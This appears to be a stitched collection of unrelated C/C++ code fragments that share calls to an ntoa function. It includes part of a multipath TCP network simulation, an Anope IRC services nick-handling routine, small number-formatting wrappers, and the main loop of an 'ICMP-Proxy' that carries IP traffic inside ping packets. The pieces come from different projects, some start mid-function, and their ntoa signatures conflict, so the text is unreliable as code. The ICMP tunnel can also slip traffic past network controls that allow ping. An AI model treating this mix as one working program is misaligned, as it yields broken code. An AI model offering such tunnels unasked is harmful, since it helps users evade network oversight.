stringstream filename(ios_base::out); filename << "../data/logout." << speedAsPktps(SERVICE2) << "pktps." <<timeAsMs(RTT2) << "ms."<< rand(); cout << "Outputting to " << filename.str() << endl; Logfile logfile(filename.str(),eventlist); logfile.setStartTime(timeFromSec(0.5)); QueueLoggerSimple logQueue = QueueLoggerSimple(); logfile.addLogger(logQueue); // QueueLoggerSimple logPQueue1 = QueueLoggerSimple(); logfile.addLogger(logPQueue1); //QueueLoggerSimple logPQueue3 = QueueLoggerSimple(); logfile.addLogger(logPQueue3); QueueLoggerSimple logPQueue = QueueLoggerSimple(); logfile.addLogger(logPQueue); MultipathTcpLoggerSimple mlogger = MultipathTcpLoggerSimple(); logfile.addLogger(mlogger); //TrafficLoggerSimple logger; //logfile.addLogger(logger); SinkLoggerSampling sinkLogger = SinkLoggerSampling(timeFromMs(1000),eventlist); logfile.addLogger(sinkLogger); QueueLoggerSampling qs1 = QueueLoggerSampling(timeFromMs(1000),eventlist); logfile.addLogger(qs1); QueueLoggerSampling qs2 = QueueLoggerSampling(timeFromMs(1000),eventlist); logfile.addLogger(qs2); TcpLoggerSimple* logTcp = NULL; logTcp = new TcpLoggerSimple(); logfile.addLogger(*logTcp); // Build the network Pipe pipe1(RTT1, eventlist); pipe1.setName("pipe1"); logfile.writeName(pipe1); Pipe pipe2(RTT2, eventlist); pipe2.setName("pipe2"); logfile.writeName(pipe2); Pipe pipe_back(timeFromMs(.1), eventlist); pipe_back.setName("pipe_back"); logfile.writeName(pipe_back); RandomQueue queue1(SERVICE1, BUFFER1, eventlist,&qs1,memFromPkt(RANDOM_BUFFER)); queue1.setName("Queue1"); logfile.writeName(queue1); RandomQueue queue2(SERVICE2, BUFFER2, eventlist,&qs2,memFromPkt(RANDOM_BUFFER)); queue2.setName("Queue2"); logfile.writeName(queue2); Queue pqueue2(SERVICE2*2, memFromPkt(FEEDER_BUFFER), eventlist,NULL); pqueue2.setName("PQueue2"); logfile.writeName(pqueue2); Queue pqueue3(SERVICE1*2, memFromPkt(FEEDER_BUFFER), eventlist,NULL); pqueue3.setName("PQueue3"); logfile.writeName(pqueue3); Queue pqueue4(SERVICE2*2, memFromPkt(FEEDER_BUFFER), eventlist,NULL); pqueue4.setName("PQueue4"); logfile.writeName(pqueue4); Queue* pqueue; Queue queue_back(max(SERVICE1,SERVICE2)*4, memFromPkt(1000), eventlist,NULL); queue_back.setName("queue_back"); logfile.writeName(queue_back); TcpRtxTimerScanner tcpRtxScanner(timeFromMs(10), eventlist); //TCP flows on path 1 TcpSrc* tcpSrc; TcpSink* tcpSnk; route_t* routeout; route_t* routein; double extrastarttime; for (int i=0; i<TCP_1; i++) { tcpSrc = new TcpSrc(NULL,NULL,eventlist); tcpSrc->setName("Tcp1"); logfile.writeName(*tcpSrc); tcpSnk = new TcpSink(); tcpSnk->setName("Tcp1"); logfile.writeName(*tcpSnk); tcpRtxScanner.registerTcp(*tcpSrc); // tell it the route pqueue = new Queue(SERVICE1*2, memFromPkt(FEEDER_BUFFER), eventlist,NULL); pqueue->setName("PQueue1_"+ntoa(i)); logfile.writeName(*pqueue); routeout = new route_t(); routeout->push_back(pqueue); routeout->push_back(&queue1); routeout->push_back(&pipe1); routeout->push_back(tcpSnk); routein = new route_t(); routein->push_back(tcpSrc); extrastarttime = drand()*50; tcpSrc->connect(*routeout,*routein,*tcpSnk,timeFromMs(extrastarttime)); sinkLogger.monitorSink(tcpSnk); } //TCP flow on path 2 for (int i=0; i<TCP_2; i++) { tcpSrc = new TcpSrc(NULL,NULL,eventlist); tcpSrc->setName("Tcp2"); logfile.writeName(*tcpSrc); tcpSnk = new TcpSink(); tcpSnk->setName("Tcp2"); logfile.writeName(*tcpSnk); tcpRtxScanner.registerTcp(*tcpSrc); pqueue = new Queue(SERVICE2*2, memFromPkt(FEEDER_BUFFER), eventlist,NULL); pqueue->setName("PQueue2_"+ntoa(i)); logfile.writeName(*pqueue); // tell it the route routeout = new route_t(); routeout->push_back(pqueue); routeout->push_back(&queue2); routeout->push_back(&pipe2); routeout->push_back(tcpSnk); routein = new route_t(); //routein->push_back(&queue_back); routein->push_back(&pipe_back); routein->push_back(tcpSrc); extrastarttime = 50*drand(); tcpSrc->connect(*routeout,*routein,*tcpSnk,timeFromMs(extrastarttime)); sinkLogger.monitorSink(tcpSnk); } MultipathTcpSrc* mtcp; if (algo==COUPLED_EPSILON) mtcp = new MultipathTcpSrc(algo,eventlist,&mlogger,epsilon); else mtcp = new MultipathTcpSrc(algo,eventlist,&mlogger); //MTCP flow 1 tcpSrc = new TcpSrc(NULL,NULL,eventlist); tcpSrc->setName("Subflow1"); logfile.writeName(*tcpSrc); tcpSnk = new TcpSink(); tcpSnk->setName("Subflow1"); logfile.writeName(*tcpSnk); tcpRtxScanner.registerTcp(*tcpSrc); // tell it the route routeout = new route_t(); routeout->push_back(&pqueue3); routeout->push_back(&queue1); routeout->push_back(&pipe1); routeout->push_back(tcpSnk); routein = new route_t(); //routein->push_back(&queue_back); routein->push_back(&pipe_back); routein->push_back(tcpSrc); extrastarttime = 50*drand(); //join multipath connection mtcp->addSubflow(tcpSrc); tcpSrc->connect(*routeout,*routein,*tcpSnk,timeFromMs(extrastarttime)); sinkLogger.monitorSink(tcpSnk); //MTCP flow 2 tcpSrc = new TcpSrc(NULL,NULL,eventlist); tcpSrc->setName("Subflow2"); logfile.writeName(*tcpSrc); tcpSnk = new TcpSink(); tcpSnk->setName("Subflow2"); logfile.writeName(*tcpSnk); tcpRtxScanner.registerTcp(*tcpSrc); // tell it the route routeout = new route_t(); routeout->push_back(&pqueue4); routeout->push_back(&queue2); routeout->push_back(&pipe2); routeout->push_back(tcpSnk); routein = new route_t(); //routein->push_back(&queue_back); routein->push_back(&pipe_back); routein->push_back(tcpSrc); extrastarttime = 50*drand(); //join multipath connection mtcp->addSubflow(tcpSrc); tcpSrc->connect(*routeout,*routein,*tcpSnk,timeFromMs(extrastarttime)); sinkLogger.monitorSink(tcpSnk); // Record the setup int pktsize = TcpPacket::DEFAULTDATASIZE; logfile.write("# pktsize="+ntoa(pktsize)+" bytes"); logfile.write("# bottleneckrate1="+ntoa(speedAsPktps(SERVICE1))+" pkt/sec"); logfile.write("# bottleneckrate2="+ntoa(speedAsPktps(SERVICE2))+" pkt/sec"); logfile.write("# buffer1="+ntoa((double)(queue1._maxsize)/((double)pktsize))+" pkt"); logfile.write("# buffer2="+ntoa((double)(queue2._maxsize)/((double)pktsize))+" pkt"); double rtt = timeAsSec(RTT1); logfile.write("# rtt="+ntoa(rtt)); rtt = timeAsSec(RTT2); logfile.write("# rtt="+ntoa(rtt)); logfile.write("# numflows="+ntoa(NUMFLOWS)); logfile.write("# targetwnd="+ntoa(targetwnd)); // GO! while (eventlist.doNextEvent()) {} }
/** * Adds a new user to anopes internal userlist. * * If the SVID passed is 2, the user will not be marked registered or requested to ID. * This is an addition to accomodate IRCds where we cannot determine this based on the NICK * or UID command. Some IRCd's keep +r on when changing nicks and do not use SVID (ex. InspIRCd 1.2). * Instead we get a METADATA command containing the accountname the user was last identified to. * Since this is received after the user is introduced to us we should not yet mark the user * as identified or ask him to identify. We will mark him as recognized for the time being and let * him keep his +r if he has it. * It is the responsibility of the protocol module to make sure that this is either invalidated, * or changed to identified. ~ Viper **/ User *do_nick(const char *source, char *nick, char *username, char *host, char *server, char *realname, time_t ts, uint32 svid, uint32 ip, char *vhost, char *uid) { User *user = NULL; char *tmp = NULL; NickAlias *old_na; /* Old nick rec */ int nc_changed = 1; /* Did nick core change? */ int status = 0; /* Status to apply */ char mask[USERMAX + HOSTMAX + 2]; char *logrealname; char *oldnick; if (!*source) { char ipbuf[16]; struct in_addr addr; if (ircd->nickvhost) { if (vhost) { if (!strcmp(vhost, "*")) { vhost = NULL; if (debug) alog("debug: new user�with no vhost in NICK command: %s", nick); } } } /* This is a new user; create a User structure for it. */ if (debug) alog("debug: new user: %s", nick); if (ircd->nickip) { addr.s_addr = htonl(ip); ntoa(addr, ipbuf, sizeof(ipbuf)); } if (LogUsers) { /** * Ugly swap routine for Flop's bug :) **/ if (realname) { tmp = strchr(realname, '%'); while (tmp) { *tmp = '-'; tmp = strchr(realname, '%'); } } logrealname = normalizeBuffer(realname); /** * End of ugly swap **/ if (ircd->nickvhost) { if (ircd->nickip) { alog("LOGUSERS: %s (%s@%s => %s) (%s) [%s] connected to the network (%s).", nick, username, host, (vhost ? vhost : "none"), logrealname, ipbuf, server); } else { alog("LOGUSERS: %s (%s@%s => %s) (%s) connected to the network (%s).", nick, username, host, (vhost ? vhost : "none"), logrealname, server); } } else { if (ircd->nickip) { alog("LOGUSERS: %s (%s@%s) (%s) [%s] connected to the network (%s).", nick, username, host, logrealname, ipbuf, server); } else { alog("LOGUSERS: %s (%s@%s) (%s) connected to the network (%s).", nick, username, host, logrealname, server); } } Anope_Free(logrealname); } /* We used to ignore the ~ which a lot of ircd's use to indicate no * identd response. That caused channel bans to break, so now we * just take what the server gives us. People are still encouraged * to read the RFCs and stop doing anything to usernames depending * on the result of an identd lookup. */ /* First check for AKILLs. */ /* DONT just return null if its an akill match anymore - yes its more efficent to, however, now that ircd's are * starting to use things like E/F lines, we cant be 100% sure the client will be removed from the network :/ * as such, create a user_struct, and if the client is removed, we'll delete it again when the QUIT notice * comes in from the ircd. **/ if (check_akill(nick, username, host, vhost, ipbuf)) { /* return NULL; */ } /** * DefCon AKILL system, if we want to akill all connecting user's here's where to do it * then force check_akill again on them... **/ /* don't akill on netmerges -Certus */ /* don't akill clients introduced by ulines. -Viper */ if (is_sync(findserver(servlist, server)) && checkDefCon(DEFCON_AKILL_NEW_CLIENTS) && !is_ulined(server)) { strncpy(mask, "*@", 3); strncat(mask, host, HOSTMAX); alog("DEFCON: adding akill for %s", mask); add_akill(NULL, mask, s_OperServ, time(NULL) + dotime(DefConAKILL), DefConAkillReason ? DefConAkillReason : "DEFCON AKILL"); if (check_akill(nick, username, host, vhost, ipbuf)) { /* return NULL; */ } } /* SGLINE */ if (ircd->sgline) { if (check_sgline(nick, realname)) return NULL; } /* SQLINE */ if (ircd->sqline) { if (check_sqline(nick, 0)) return NULL; } /* SZLINE */ if (ircd->szline && ircd->nickip) { if (check_szline(nick, ipbuf)) return NULL; } /* Now check for session limits */ if (LimitSessions && !is_ulined(server) && !add_session(nick, host, ipbuf)) return NULL; /* Allocate User structure and fill it in. */ user = new_user(nick); user->username = sstrdup(username); user->host = sstrdup(host); user->server = findserver(servlist, server); user->realname = sstrdup(realname); user->timestamp = ts; user->my_signon = time(NULL); user->chost = vhost ? sstrdup(vhost) : sstrdup(host); user->vhost = vhost ? sstrdup(vhost) : sstrdup(host); if (uid) { user->uid = sstrdup(uid); /* p10/ts6 stuff */ } else { user->uid = NULL; } user->vident = sstrdup(username); /* We now store the user's ip in the user_ struct, * because we will use it in serveral places -- DrStein */ if (ircd->nickip) { user->hostip = sstrdup(ipbuf); } else { user->hostip = NULL; } if (svid == 0) { display_news(user, NEWS_LOGON); display_news(user, NEWS_RANDOM); } if (svid == 2 && user->na) { /* We do not yet know if the user should be identified or not. * mark him as recognized for now. * It s up to the protocol module to make sure this either becomes ID'd or * is invalidated. ~ Viper */ if (debug) alog("debug: Marking %s as recognized..", user->nick); user->svid = 1; user->na->status |= NS_RECOGNIZED; nc_changed = 0; } else if (svid == ts && user->na) { /* Timestamp and svid match, and nick is registered; automagically identify the nick */ user->svid = svid; user->na->status |= NS_IDENTIFIED; check_memos(user); nc_changed = 0; /* Start nick tracking if available */ if (NSNickTracking) nsStartNickTracking(user); } else if (svid != 1) { /* Resets the svid because it doesn't match */ user->svid = 1; anope_cmd_svid_umode(user->nick, user->timestamp); } else { user->svid = 1; } send_event(EVENT_NEWNICK, 1, nick); } else { /* An old user changing nicks. */ if (UseTS6 && ircd->ts6) user = find_byuid(source); if (!user) user = finduser(source); if (!user) { alog("user: NICK from nonexistent nick %s", source); return NULL; } user->isSuperAdmin = 0; /* Dont let people nick change and stay SuperAdmins */ if (debug) alog("debug: %s changes nick to %s", source, nick); if (LogUsers) { logrealname = normalizeBuffer(user->realname); if (ircd->vhost) { alog("LOGUSERS: %s (%s@%s => %s) (%s) changed nick to %s (%s).", user->nick, user->username, user->host, (user->vhost ? user->vhost : "(none)"), logrealname, nick, user->server->name); } else { alog("LOGUSERS: %s (%s@%s) (%s) changed nick to %s (%s).", user->nick, user->username, user->host, logrealname, nick, user->server->name); } if (logrealname) { free(logrealname); } } user->timestamp = ts; if (stricmp(nick, user->nick) == 0) { /* No need to redo things */ change_user_nick(user, nick); nc_changed = 0; } else { /* Update this only if nicks aren't the same */ user->my_signon = time(NULL); old_na = user->na; if (old_na) { if (nick_recognized(user)) user->na->last_seen = time(NULL); status = old_na->status & NS_TRANSGROUP; cancel_user(user); } oldnick = sstrdup(user->nick); change_user_nick(user, nick); if ((old_na ? old_na->nc : NULL) == (user->na ? user->na->nc : NULL)) nc_changed = 0; if (!nc_changed && (user->na)) user->na->status |= status; else { anope_cmd_nc_change(user); } send_event(EVENT_CHANGE_NICK, 2, nick, oldnick); free(oldnick); } if (ircd->sqline) { if (!is_oper(user) && check_sqline(user->nick, 1)) return NULL; } } /* if (!*source) */ /* Check for nick tracking to bypass identification */ if (NSNickTracking && nsCheckNickTracking(user)) { user->na->status |= NS_IDENTIFIED; nc_changed = 0; } if (nc_changed || !nick_recognized(user)) { if (validate_user(user)) check_memos(user); } else { if (nick_identified(user)) { char tsbuf[16]; user->na->last_seen = time(NULL); if (user->na->last_usermask) free(user->na->last_usermask); user->na->last_usermask = smalloc(strlen(common_get_vident(user)) + strlen(common_get_vhost(user)) + 2); sprintf(user->na->last_usermask, "%s@%s", common_get_vident(user), common_get_vhost(user)); snprintf(tsbuf, sizeof(tsbuf), "%lu", (unsigned long int) user->timestamp); anope_cmd_svid_umode2(user, tsbuf); alog("%s: %s!%s@%s automatically identified for nick %s", s_NickServ, user->nick, user->username, user->host, user->nick); } } /* Bahamut sets -r on every nick changes, so we must test it even if nc_changed == 0 */ if (ircd->check_nick_id) { if (nick_identified(user)) { char tsbuf[16]; snprintf(tsbuf, sizeof(tsbuf), "%lu", (unsigned long int) user->timestamp); anope_cmd_svid_umode3(user, tsbuf); } } return user; }
char *itoa(char *string, int value, int len) { return ntoa(string, value, len, IBASE, ILETTER); }
int findtarget(int addr) { int lol=targets[addr]; dbg("findtarget: x.x.x.%d -> %s\n",addr,ntoa(ntohl(lol))); return lol; }
char *otoa(char *string, int value, int len) { return ntoa(string, value, len, OBASE, OLETTER); }
int main(int argc, char** argv) { char devname[IFNAMSIZ]; int ifd, pingd; fd_set fds; int maxfd; struct timeval tv; struct in_addr me; int mask, server; char packet[PACKLEN]; int len,tmp; struct sockaddr_in sa; struct in_addr buf; socklen_t buflen; struct icmphdr* icmph; int iphl; int faddr, taddr; int id, seq=0; if(argc<3) { dbg("ICMP-Proxy, by koala_man\n"); dbg("Usage: %s magic ip\n",argv[0]); dbg("Magic is any 2-char string, same for server and client\n"); dbg("For clients: ip is the public address for the server\n"); dbg("For servers: ip is the private /24-mask for clients\n"); exit(1); } if(inet_aton(argv[2],&me)<0) { perror("inet_aton"); exit(1); } if(argv[1][0]!=0) id=argv[1][1]<<8; id=id | argv[1][0]; dbg("Using id %x\n",id); server=(((me.s_addr)>>24)&0xFF)==0; mask=htonl(me.s_addr); dbg("You're a %s\n",server?"server":"client"); dbg("Mask is %d: %s\n",mask,ntoa(mask)); strncpy(devname,"it%d",IFNAMSIZ); ifd=opentun(devname); dbg("Opened tun as %s\n",devname); if((pingd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0) { perror("socket"); close(ifd); exit(3); } targets=(int*)calloc(256,sizeof(struct in_addr)); maxfd=MAX(ifd,pingd)+1; FD_ZERO(&fds); while(1) { FD_SET(pingd,&fds); FD_SET(ifd,&fds); tv.tv_sec=8; //XXX tv.tv_usec=0; dbg("\n"); tmp=select(maxfd,&fds,NULL,NULL,&tv); if(tmp==0) { if(server) continue; icmph=(struct icmphdr*) packet; icmph->type=ICMP_ECHO; icmph->code=0; icmph->checksum=0; icmph->un.echo.sequence=seq++; icmph->un.echo.id=id; tmp=(sizeof(struct icmphdr)); icmph->checksum=in_sum(packet,tmp,0); buflen=sizeof(struct sockaddr); sa.sin_addr=me; sendto(pingd,packet,tmp,0,(struct sockaddr*)&sa,buflen); dbg("Ping!\n"); } else { if(FD_ISSET(pingd,&fds)) { dbg("Got a ping\n"); buflen=sizeof(struct sockaddr); len=recvfrom(pingd,packet,PACKLEN,0,(struct sockaddr*)&sa,&buflen); dbg("Recvfrom=%d\n",len); iphl=packet[0]&0x0F; dbg("Packet header: %d\n",iphl); if(iphl<5) { dbg("Bad packet, too short header.\n"); continue; } taddr=ntohl(((int*)packet)[3]); //tunnel from faddr=ntohl(((int*)packet)[iphl+8/4+3]); //packet from if(!(taddr==mask || (server && (faddr & ~0xff)==mask))) { dbg("IP from wrong place\n"); dbg(" Is %s\n",ntoa(faddr)); dbg(" or %s\n",ntoa(taddr)); dbg(" Should be %s\n",ntoa(mask)); continue; } icmph=(struct icmphdr*)(packet+iphl*4); if(icmph->type != ICMP_ECHOREPLY) { dbg("Not ICMP_ECHOREPLY\n"); continue; } if(icmph->un.echo.id!=id) { dbg("Wrong ID\n"); continue; } if((len-iphl*4)<20 || len>PACKLEN) { dbg("Not sane size\n"); continue; } if(server) { dbg("Setting %x to %x\n",faddr,taddr); settarget(faddr & 0xff,htonl(taddr)); } write(ifd,packet+iphl*4+8,len-iphl*4-8); } if(FD_ISSET(ifd,&fds)) { dbg("Got from if\n"); icmph=(struct icmphdr*) packet; icmph->type=ICMP_ECHOREPLY; icmph->code=0; icmph->checksum=0; icmph->un.echo.sequence=htons(seq++); icmph->un.echo.id=id; len=read(ifd,packet+8,TUNLEN); dbg("read=%d\n",len); if(len<0) { perror("Read from if"); exit(4); } if(len==0) { dbg("no data, lol?\n"); continue; } icmph->checksum=in_sum(packet,8+len,0); buflen=sizeof(struct sockaddr); if(server) { tmp=ntohl(((int*)packet)[8/4+4]); buf.s_addr=findtarget(tmp&0xff); if(buf.s_addr==0) { dbg("Don't know where to send, dropping\n"); continue; } sa.sin_addr=buf; } else { sa.sin_addr=me; } sendto(pingd,packet,len+8,0,(struct sockaddr*)&sa,buflen); } } } buflen=sizeof(struct sockaddr); len=recvfrom(pingd,packet,PACKLEN,0,(struct sockaddr*)&sa,&buflen); dbg("Recvfrom=%d\n",len); write(2,packet,len); close(ifd); close(pingd); return 0; }
char *xtoa(char *string, int value, int len) { return ntoa(string, value, len, XBASE, XLETTER); }